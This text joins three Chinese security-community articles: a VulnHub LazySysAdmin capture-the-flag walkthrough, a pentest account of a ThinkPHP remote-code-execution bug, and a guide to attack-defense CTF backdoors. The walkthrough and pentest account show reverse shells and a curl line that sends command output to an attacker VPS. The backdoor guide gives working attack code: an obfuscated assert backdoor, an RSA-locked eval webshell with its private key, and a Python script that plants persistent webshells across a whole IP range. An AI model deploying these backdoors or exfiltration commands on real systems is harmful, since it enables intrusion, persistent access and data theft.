<https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip>
Download (Torrent):
<https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip.torrent> ( Magnet)
### 运行环境
* Virtualbox （二选一）
* Vnware Workstation player
### 通关提示
* Enumeration is key
* Try Harder
* Look in front of you
* Tweet @togiemcdogie if you need more hints
### ip探测
由于我们的目标与我们的物理机位于同一网段，所以我们要做的就是先获取目标机器的地址。在内网主机探测中，可以使用netdiscover来进行。
netdiscover -i wlo1
➜ evilk0 netdiscover -i wlo1
Currently scanning: 192.168.21.0/16 | Screen View: Unique Hosts
1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 42
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
----------------------------------------------------------------------------- 192.168.0.100 08:00:27:da:8a:ac 1 42 PCS Systemtechnik GmbH
### 端口扫描
我们需要知道目标机器上运行了哪些服务，利用某些服务的漏洞或配置不当来进行攻击，所以我们先进行端口扫描。
使用masscan扫描
masscan 192.168.0.100 -p 1-10000 --rate=1000
➜ evilk0 masscan 192.168.0.100 -p 1-10000 --rate=1000
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2018-01-31 12:53:27 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [10000 ports/host]
Discovered open port 3306/tcp on 192.168.0.100
Discovered open port 6667/tcp on 192.168.0.100
Discovered open port 22/tcp on 192.168.0.100
Discovered open port 139/tcp on 192.168.0.100
Discovered open port 80/tcp on 192.168.0.100
Discovered open port 445/tcp on 192.168.0.100
使用nmap扫描
nmap -T4 -A -v 192.168.0.100 -p 0-10000
➜ evilk0 nmap -T4 -A -v 192.168.0.31 -p0-10000
Starting Nmap 7.50 ( https://nmap.org ) at 2018-01-31 20:55 CST
.................................
Scanning LazySysAdmin.lan (192.168.0.100) [10001 ports]
Discovered open port 80/tcp on 192.168.0.100
Discovered open port 22/tcp on 192.168.0.100
Discovered open port 139/tcp on 192.168.0.100
Discovered open port 445/tcp on 192.168.0.100
Discovered open port 3306/tcp on 192.168.0.100
Discovered open port 6667/tcp on 192.168.0.100
.................................
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
| 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
| 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (EdDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 4 disallowed entries
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL (unauthorized)
6667/tcp open irc InspIRCd
| irc-info:
| server: Admin.local
| users: 1.0
| servers: 1
| chans: 0
| lusers: 1
| lservers: 0
| source ident: nmap
| source host: 192.168.2.107
|_ error: Closing link: ([email protected]) [Client exited]
MAC Address: 08:00:27:DA:8A:AC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.008 days (since Wed Jan 31 20:44:16 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| LAZYSYSADMIN<00> Flags: <unique><active>
| LAZYSYSADMIN<03> Flags: <unique><active>
| LAZYSYSADMIN<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: lazysysadmin
| NetBIOS computer name: LAZYSYSADMIN\x00
| Domain name: \x00
| FQDN: lazysysadmin
|_ System time: 2018-01-31T22:55:23+10:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms LazySysAdmin.lan (192.168.0.100)
NSE: Script Post-scanning.
Initiating NSE at 20:55
Completed NSE at 20:55, 0.00s elapsed
Initiating NSE at 20:55
Completed NSE at 20:55, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.19 seconds
Raw packets sent: 11045 (487.680KB) | Rcvd: 11034 (442.816KB)
对比可发现masscan扫描端口的速度比nmap快很多，但是想要知道端口所运行服务的具体信息，就要用到nmap了。根据扫描结果可知目标机开启了22、80、139、445、3306、6667这几个端口。
我们先从web入手。我们先使用dirb来爆破目标存在的目录（dirb安装方法附在文章最后）
➜ evilk0 ./dirb http://192.168.0.100 wordlists/common.txt -o /home/evilk0/Desktop/result.txt
用法：./dirb 目标url 用于爆破的目录 -o 输出文件
在工具扫描的同时，我们手工探测漏洞利用点。访问目标web服务,未发现什么，查看是否存在robots.txt发现4个目录，并且存在目录遍历漏洞，但是并没用获取到可以利用的信息。
<http://192.168.0.100/robots.txt>
User-agent: *
Disallow: /old/
Disallow: /test/
Disallow: /TR2/
Disallow: /Backnode_files/
使用curl获取目标web的banner信息，发现使用的中间件是apache2.4.7，目标系统为Ubuntu。
➜ evilk0 curl -I 192.168.0.100
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 13:01:20 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sun, 06 Aug 2017 05:02:15 GMT
ETag: "8ce8-5560ea23d23c0"
Accept-Ranges: bytes
Content-Length: 36072
Vary: Accept-Encoding
Content-Type: text/html
我们再来看看dirb扫描结果，发现目标文章用的是wordpress，且还有phpmyadmin
➜ dirb222 cat /home/evilk0/Desktop/result.txt | grep "^+"
+ http://192.168.0.100/index.html (CODE:200|SIZE:36072)
+ http://192.168.0.100/info.php (CODE:200|SIZE:77257)
+ http://192.168.0.100/robots.txt (CODE:200|SIZE:92)
+ http://192.168.0.100/server-status (CODE:403|SIZE:293)
+ http://192.168.0.100/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
+ http://192.168.0.100/phpmyadmin/index.php (CODE:200|SIZE:8262)
+ http://192.168.0.100/phpmyadmin/libraries (CODE:403|SIZE:300)
+ http://192.168.0.100/phpmyadmin/phpinfo.php (CODE:200|SIZE:8264)
+ http://192.168.0.100/phpmyadmin/setup (CODE:401|SIZE:459)
+ http://192.168.0.100/wordpress/index.php (CODE:301|SIZE:0)
+ http://192.168.0.100/wordpress/xmlrpc.php (CODE:405|SIZE:42)
+ http://192.168.0.100/javascript/jquery/jquery (CODE:200|SIZE:252879)
+ http://192.168.0.100/javascript/jquery/version (CODE:200|SIZE:5)
+ http://192.168.0.100/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/index.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-content/index.php (CODE:200|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)
+ http://192.168.0.100/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)
wpscan扫描结果
root@kali:~# wpscan http://192.168.0.100/wordpress
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://192.168.0.100/wordpress/
[+] Started: Thu Feb 1 01:37:20 2018
[!] The WordPress 'http://192.168.0.100/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://192.168.0.100/wordpress/index.php?rest_route=/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.22
[!] Registration is enabled: http://192.168.0.100/wordpress/wp-login.php?action=register
[+] XML-RPC Interface available under: http://192.168.0.100/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://192.168.0.100/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://192.168.0.100/wordpress/wp-includes/
[+] WordPress version 4.8.5 (Released on 2018-01-16) identified from meta generator, links opml
[+] WordPress theme in use: twentyfifteen - v1.8
[+] Name: twentyfifteen - v1.8
| Last updated: 2017-11-16T00:00:00.000Z
| Location: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/
| Readme: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/readme.txt
[!] The version is out of date, the latest version is 1.9
| Style URL: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/style.css
| Theme Name: Twenty Fifteen
| Theme URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple,...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Finished: Thu Feb 1 01:37:24 2018
[+] Requests Done: 356
[+] Memory used: 37.98 MB
[+] Elapsed time: 00:00:04
enum4linux 192.168.0.100
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 1 00:46:08 2018
==========================
| Target Information |
==========================
Target ........... 192.168.0.100
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 192.168.0.100 |
=====================================================
[+] Got domain/workgroup name: WORKGROUP
=============================================
| Nbtstat Information for 192.168.0.100 |
=============================================
Looking up status of 192.168.0.100
LAZYSYSADMIN <00> - B <ACTIVE> Workstation Service
LAZYSYSADMIN <03> - B <ACTIVE> Messenger Service
LAZYSYSADMIN <20> - B <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================
| Session Check on 192.168.0.100 |
======================================
[+] Server 192.168.0.100 allows sessions using username '', password ''
============================================
| Getting domain SID for 192.168.0.100 |
============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
| OS information on 192.168.0.100 |
=======================================
[+] Got OS info for 192.168.0.100 from smbclient:
[+] Got OS info for 192.168.0.100 from srvinfo:
LAZYSYSADMIN Wk Sv PrQ Unx NT SNT Web server
platform_id : 500
os version : 6.1
server type : 0x809a03
==============================
| Users on 192.168.0.100 |
==============================
==========================================
| Share Enumeration on 192.168.0.100 |
==========================================
WARNING: The "syslog" option is deprecated
Sharename Type Comment
--------- ---- ------- print$ Disk Printer Drivers
share$ Disk Sumshare
IPC$ IPC IPC Service (Web server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- ------- WORKGROUP
[+] Attempting to map shares on 192.168.0.100
//192.168.0.100/print$ Mapping: DENIED, Listing: N/A
//192.168.0.100/share$ Mapping: OK, Listing: OK
//192.168.0.100/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
=====================================================
| Password Policy Information for 192.168.0.100 |
=====================================================
[+] Attaching to 192.168.0.100 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] LAZYSYSADMIN
[+] Builtin
[+] Password Info for Domain: LAZYSYSADMIN
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
===============================
| Groups on 192.168.0.100 |
===============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
========================================================================
| Users on 192.168.0.100 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2952042175-1524911573-1237092750
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-500 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-32-1000 *unknown*\*unknown* (8)
S-1-5-32-1001 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\togie (Local User)
[+] Enumerating users using SID S-1-5-21-2952042175-1524911573-1237092750 and logon username '', password ''
S-1-5-21-2952042175-1524911573-1237092750-500 *unknown*\*unknown* (8)
S-1-5-21-2952042175-1524911573-1237092750-501 LAZYSYSADMIN\nobody (Local User)
S-1-5-21-2952042175-1524911573-1237092750-512 *unknown*\*unknown* (8)
S-1-5-21-2952042175-1524911573-1237092750-513 LAZYSYSADMIN\None (Domain Group)
S-1-5-21-2952042175-1524911573-1237092750-514 *unknown*\*unknown* (8)
==============================================
| Getting printer info for 192.168.0.100 |
==============================================
No printers returned.
enum4linux complete on Thu Feb 1 00:46:33 2018
windows下获取共享资源
net use k: \\192.168.0.100\share$
linux下获取共享资源
mount -t cifs -o username='',password='' //192.168.0.100/share$ /mnt
发现两个关键的文件deets.txt和wp-config.php
所以我们尝试用上面获取的mysql账号密码去登录phpmyadmin，但是发现没一个表项可以查看。
不过不要紧，上面还有一个密码是12345，而且之前我们登录WordPress页面的时候，页面显示My name is
togie.，所以我们可以用账号：togie 密码：12345尝试登录ssh，发现可以成功登录。
togie@LazySysAdmin:~$ whoami
togie
togie@LazySysAdmin:~$ id
uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
togie@LazySysAdmin:~$ sudo su
[sudo] password for togie:
root@LazySysAdmin:/home/togie# id
uid=0(root) gid=0(root) groups=0(root)
有了root权限，我们就有权限查看目标文件/root/proof.txt，这样就算完成了整个游戏了。这里刚好togie有root权限，所以我直接用sudo
su切换到root权限，但是如果togie没有root权限，那么我们就需要通过其他方式来提权了。
### 思路二
通过账号：Admin 密码：TogieMYSQL12345^^登录WordPress控制面板，向404.php页面模板插入PHP反弹shell的代码。
编辑好后，点击下面的upload file应用，然后访问<http://192.168.0.100/wordpress/?p=2>
root@kali:~# nc -vlp 1234
listening on [any] 1234 ...
192.168.0.100: inverse host lookup failed: Unknown host
connect to [192.168.0.109] from (UNKNOWN) [192.168.0.100] 36468
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
16:03:42 up 6 min, 0 users, load average: 0.01, 0.15, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ sudo su
sudo: no tty present and no askpass program specified
出现no tty present and no askpass program
specified，刚好目标机有python环境，所以我们导入Python的pty模块。
python -c 'import pty; pty.spawn("/bin/sh")'
但是我们不知道www-data的密码，所以接下来就要进行提权，先来看一下目标机的详细信息
$ uname -r
4.4.0-31-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
所以用CVE-2017-1000112提权即可，但是目标机上没有gcc，这时候，我们可以本地搭建和目标机一样的环境，在本地编译好提权exp后，在目标机器上运行即可。
dirb安装方法（kali已自带）
wget https://svwh.dl.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz
tar zxvf dirb222.tar.gz
cd dirb222/
apt-get install libcurl4-gnutls-dev
./configure && make
./dirb #运行即可
参考链接：
[VulnHub Walk-through – LazySysAdmin: 1](https://grokdesigns.com/vulnhub-walkthrough-lazysysadmin-1/)
[LazySysAdmin Vulnerable Machine Walk-through](https://uart.io/2017/12/lazysysadmin-1/) | 社区文章 |
**前言**
某次渗透测试中，信息收集过程中找到一个登陆界面。
其中在测试逻辑漏洞过程中，修改参数的时候爆出了Debug，才有了接下来的过程。
如有哪里不足，望师傅们指出。
**1、Rce**
通过Debug信息得知,这是一个thinphp的cms。
之前thinkphp的日志泄露漏洞屡试不爽，于是想先找日志。
通过Debug可以得知他的根目录在/www/wwwroot/devorder/public，我们只能访问Public目录下的文件，访问不到runtime目录，只能另辟蹊径。
在最下边找到了Cms的版本号，于是去网上找这个版本公开的漏洞。
经过寻找、测试，发现存在由变量覆盖导致的Rce漏洞。
具体漏洞分析可以参考 <https://blog.csdn.net/xuandao_ahfengren/article/details/86333189>
直接使用网上的Payload提示执行命令的函数被禁用，估计是Disable_function的作用。
其中有几个执行命令的函数发送请求后会直接返回登陆界面，未知执行状态。
于是找了一个在线的DnsLog平台，这种平台会随机给一个子域名。
如果对子域名发送Http、Icmp的包，平台就会接收到数据包，从而判断命令是否执行。
这种方式在sql注入中这种方式也有奇效。
具体使用方法可以参考这位师傅写的文章:<https://www.cnblogs.com/sstfy/p/10351807.html>
在这里执行了几次Ping之后还是收不到返回，猜测可能Icmp包被拦了，改为用Curl请求子域名。
成功收到请求
这种在线的只能简单的验证是否存在Rce，无法获得命令回显。
如果想获得命令回显，可以使用在线的Ceye平台来接收回显。
也可以使用自己的Vps来接收回显
在Vps开启Web服务或防火墙没有禁用Icmp的时候，发送Http或Icmp包后会在日志中留下记录，直接查看日志记录即可获得命令回显。
例如：
curl <http://Vps/`command`>
这里使用返单引号将要执行的命令包裹，原理是在Linux中执行命令会首先执行反单引号中的命令，并将其结果输出。
这段代码在执行完whoami后，会将返回的值拼接到<http://Vps/> 后。
我这里选择开启Web服务
再看这次返回结果，日志中的访问记录是<http://Vps/www> ，可以得知目标系统是Linux，并且使用WWW权限开启的Web服务。
**Getshell**
尝试了bash反弹Shell的方式没有弹回来。
这里不知道为什么使用echo >> 的方法写不进去，最后使用Wget下载文件到指定目录。
以上两个问题，有知道的师傅方便的话通过评论告我一声，先行谢过。
通过Debug中的绝对路径写WebShell后找不到写的Webshell，于是在Web目录下查找登陆界面，成功得到真.绝对路径。
将Webshell写在VPS中，再次使用Wget下载Webshell到真.绝对路径，成功Getshell。 | 社区文章 |
## 背景
最近在学习AWD线下比赛方法，对于萌新来说学习到了很多，也好好研究了一番，尤其是针对RSA非对称加密结合不死马，但是网上的文章对于RSA木马只有服务端的代码，没有客户端，并且如何利用并没有详细说明，所以在此研究分享给广大的WEB入门选手们，师傅们轻喷。
## 1.webshell分析学习
### 1.1前置知识
首先了解chmod命令的基本用法，方便快速更改网站的文件权限以及webshell的权限：
Linux/Unix 的文件调用权限分为三级 : 文件拥有者、群组、其他。利用 chmod 可以用来控制文件如何被他人所调用。
比如如上图所示，对应的第一位指的是该当前文件是否是目录，第一到第四位代表文件的拥有者，也就是创建该文件的人，比如我创建一个test文件夹，此时文件的拥有者将对文件有读写执行的权限，当前用户所在的组也对该文件夹有读写执行的权限，其他对其有读和执行的权限。
我们通过以下php代码测试如下所示：
<?php
system('whoami');
?>
当在浏览器中我们访问如下所示，显示当前用户权限为www-data
当我们以命令行运行shell1.php时，会如下图所示：
当我们以root身份运行时：
由上面三种情况可以看到，当运行此php文件的用户为谁，就会返回当前用户的身份。
而通常情况下，我们在本机测试时，apache服务器的html文件夹其他用户是没有写的权限的，只能够读和运行此文件夹中的文件。而通常在比赛中我们的html文件夹的所有者为www-data或者ctf，并且other用户可以通过shell在html下写文件。而在比赛中，我们通常要给我们的不死马写文件的权限。
### 1.2AWD中预置webshell分类
比赛中通常webshell分为代码执行和命令执行两种，比如最常见的就是以eval()函数assert()函数为首的代码执行函数或者以system()函数为首的命令执行函数。Awd模式下面，比赛主办方有时候会预留下后门，那么就分为以上两种一句话，或者是更为复杂一点的变种木马，可能需要我们静态分析，通过var_dump()函数分析出后门的使用方法。以下以代码执行后门为例加以说明，通常在比赛中我们也会遇到。
<?php
class Foo
{
function Variable($c)
{
$name = 'Bar';
$b=$this->$name();
$b($c);
}
function Bar()
{
$__='a';
$a1=$__;
$__++;$__++;$__++;$__++;
$a2=$__;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$a3=$__++;
$a4=$__++;
$a5=$__;
$a=$a1.$a4.$a4.$a2.$a3.$a5;
return $a;
}
}
function variable(){
$_='A';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$b1=$_++;
$b2=$_;
$_++;$_++;$_++;
$b3=$_++;
$b4=$_;
$b='_'.$b2.$b1.$b3.$b4;
return $b;
}
$foo = new Foo();
$funcname = "Variable";
$bb=${variable()}[variable()];
$foo->$funcname($bb);
我们通过var_dump()函数很快就能拼接出最终的一句话后门assert($_POST[_POST]),拼接出来需要验证一下，如果执行成功后面就可以一把梭了，接下来就开始构造RSA木马
## 2.AWD中RSA不死木马进行权限维持
预留的后门很快就会被人删除，所以最好可以先利用预置后门拿一次flag，因为不管用户是什么权限读flag的权限还是足够的，此时如果是eval类型的后门，可以利用file_get_contents函数来读取flag，如果是system类型的后门可以利用cat来读取flag。当然网上也有文章讲用md5哈希身份验证+隐藏文件+不死马+打混淆流量来进行权限维持，以便于快速在其他队伍的服务器上种植木马，并且保证自己的木马不被别人使用。但是只要对手有足够的分析能力，总是能够通过窃听流量来利用我们在别人机器上种植的木马，有时候打得比我们自己还厉害。那么基于RSA非对称加密的木马非常有必要了，在比赛中也遇到过，但是网上分析RSA木马和构造自己的RSA木马的文章较为简略，因此有了下文：
### 2.1设计思想：
被攻击者，简称b，也就是其他队伍的服务器上有带公钥的后门，我们自己的服务器上有私钥，通过我们用私钥加密payload发送到后门，b端用公钥进行payload的解密，然后再将payload的执行结果返回，此时我们就可以美滋滋地获取flag。
我们利用openssl生成公私钥对：
公钥：
私钥：
有了私钥和公钥以后，我们就可以构造服务端木马以及客户端控制
### 2.2木马配置：
我们现在本地测试客户端与服务端，我们的目标是通过python脚本发送payload给我们自己服务器上的RSA客户端用私钥进行payload
的加密，然后再将返回的加密payload发送到对手的服务器上的RSA服务端，进行公钥解密再执行返回结果，这样即使对手能够看到公钥，但是没有私钥去加密payload就没有办法利用该RSA木马，下面贴出服务端和客户端的代码配置：
客户端代码：
<?php
class Rsa {
private static $PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQCrFxyAYGqDE9OR3CNPEjGpQDAcIcsc9ZG/2HPgzHsME8n45x1y
P75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6R24LZij0zixRz+mBU/xac+dJ
HIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry54iX4iJ1PVODtw/BZbQIDAQAB
AoGADC0A4kH6Uom+rMq12JK65gijY90jz1PKo5SL6puixiFCZmxMNC1FJZjzlE0p
j7YTm/rjBHCzK7gETpU2RMudUitgsXnwWD9BY2xfcJzukdDYCrgJCuqgGuZ+4D9J
sAWcWmGDpXXVnvROvJF6Yz4230DN754Af+B6vOsRsK+FhSECQQDZwv7iPnPcG9Pr
Ac8T+KMBex0XbEk4Lh4cRuQN224zkdVEkAsldWcWNBQuUeGXgseywz2xcO0GH238
zjc364gXAkEAySIabW3TR6f8kHTiqKo9pBO0y15LqAHGwQckXkfuibzCxM36pj/p
WVcRZy2WcFrnXjj3zXZecopRb9x/Jx9ZGwJBAJ/t+kwnGehZ97XtSiycuvrndGIz
gULle+/AkNUshy8Qt9T3BXipVOCVtwydzlT8E7ZSdgjPqwSIKLs2qI9FSFkCQEW3
8Ysu/4aeHzj/mzW11SoTvp6j7/urqfZtAFlB+9h4uta3Q4PvMXbLbHfkYHpPuFV7
z8HDnxd7BKGOv/CSuDMCQEAEJukly0GbEX8VZxFJ5/Ki3m2toGTD1CePObwW1DaS
dmNxKgsScUdcVw0WUVRL4KV4C2XLib6M9hjwqer0OQM=
-----END RSA PRIVATE KEY-----';
private static function getPrivateKey()
{
$privKey = self::$PRIVATE_KEY;
return openssl_pkey_get_private($privKey);
}
public static function privEncrypt($data = '')
{
if (!is_string($data)) {
return null;
}
return openssl_private_encrypt($data,$encrypted,self::getPrivateKey()) ? base64_encode($encrypted) : null;
}
}
$rsa = new Rsa();
$cmd = $_POST['cmd'];
$action = "enc";
if($action!==Null){
if($action==="enc"){
$privEncrypt = $rsa->privEncrypt($cmd);
echo $privEncrypt;
}
}
服务端代码：
<?php
class Rsa {
private static $PUBLIC_KEY= '-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY----- ';
private static function getPublicKey()
{
$publicKey = self::$PUBLIC_KEY;
return openssl_pkey_get_public($publicKey);
}
public static function publicDecrypt($encrypted = '')
{
if (!is_string($encrypted)) {
return null;
}
return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
}
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);
本地测试exp：
import requests
import base64
url = "http://127.0.0.1//rsa_client.php"
payload = "system('whoami');"
res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
enc = res.content
url1 = "http://127.0.0.1/rsa_server.php"
payload1 = enc
res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)
由上图可以看到配置的服务端和客户端代码能够正常加密解密，接下来只要和不死马结合起来就可以了，贴上一个通用的批量种植木马框架：
import requests
import base64
def no_die(ip_start,ip_end,shell_addr,shell_pass):
ips=open("keep_continue_ip_list.txt","w")
filename="no_die.php" #不死马的路径
f= open(filename,'r')
php = f.read()
php = base64.b64encode(php.encode("ascii"))
php = php.decode("ascii")
url = ".".join(ip_start.split(".")[0:3])
ip_start = int(ip_start.split(".")[-1])
ip_end = int(ip_end.split(".")[-1])
shell = shell_addr #主办方提供的后门地址
passwd = shell_pass #后门密码
data = {passwd:"file_put_contents(\".config.php\",base64_decode(\"" + php + "\"));"}
for i in range(ip_start,ip_end):
try:
url1 = "http://"+url + "."+str(i) + shell
print(url1)
attack = requests.post(url=url1,data=data,timeout=1)
if(attack.status_code == 200):
url1 = "http://"+url + "."+ str(i) +"/.config.php"
try:
requests.get(url=url1,timeout=0.1)
except:
pass
url1 = "http://"+url + "."+ str(i) +"/.config.php"
active = requests.get(url=url1,timeout=1)
if(active.status_code==200):
ips.write(url+"."+str(i)+"----"+"success")
ips.write("\n")
else:
print("sorry the file is not exist!")
except:
print(url1+"-----error")
#no_die("192.168.0.2","192.168.0.254","/backdoor.php","c")
#生成的不死马地址为http://x.x.x.x/.config.php
def use_rsa():
url = "http://127.0.0.1/rsa_client.php"
payload = "system('whoami');" #此处的payload可以任意更改
res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
enc = res.content
url1 = "http://127.0.0.1/.rsa_server.php" #此处为不死马循环写入的RSA服务端，用来返回flag
payload1 = enc
res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)
其中不死马的内容如下：
